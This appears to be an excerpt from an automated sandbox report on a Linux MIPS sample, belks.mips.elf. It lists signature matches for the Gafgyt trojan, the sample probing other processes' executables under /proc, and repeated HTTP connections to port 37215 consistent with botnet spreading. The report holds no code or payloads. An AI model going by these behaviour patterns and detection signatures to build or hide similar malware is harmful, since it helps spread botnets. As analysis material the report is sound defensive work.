Source: 5460.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5452.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5440.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5444.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5453.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5436.1.00007f79e8400000.00007f79e8417000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: belks.mips.elf PID: 5436, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: belks.mips.elf PID: 5440, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: belks.mips.elf PID: 5444, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: belks.mips.elf PID: 5452, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: belks.mips.elf PID: 5453, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: belks.mips.elf PID: 5458, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: belks.mips.elf PID: 5460, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@2/0

Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/5421/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/5422/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3122/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/5380/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3117/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3114/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/914/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/518/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/519/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/917/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/5273/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3134/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3375/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3132/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3095/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1745/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1866/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1588/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/884/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1982/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/765/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3246/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/767/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/800/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1906/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/802/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/803/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1748/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/5444/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3420/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1482/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/490/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1480/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1755/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1238/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1875/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3413/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1751/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1872/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/2961/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1475/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/656/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/778/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/657/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/658/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/659/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/418/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/936/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/419/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/5438/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/816/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1879/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/5452/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/5453/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1891/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3310/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3153/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/780/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/660/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1921/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/783/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1765/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/2974/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1400/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1884/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3424/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/2972/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3147/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/2970/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1881/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3146/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3300/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/5568/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1805/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1925/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1804/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1648/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1922/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3429/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/5460/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3442/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3165/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3164/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3163/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3162/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/790/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3161/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/792/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/793/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/672/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1930/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/674/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/795/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1411/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/2984/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/1410/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/797/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/676/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3434/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3158/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/678/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/679/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3170/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/680/exe	Jump to behavior
Source: /tmp/belks.mips.elf (PID: 5455)	File opened: /proc/3208/exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 46116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59384 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35120 -> 37215
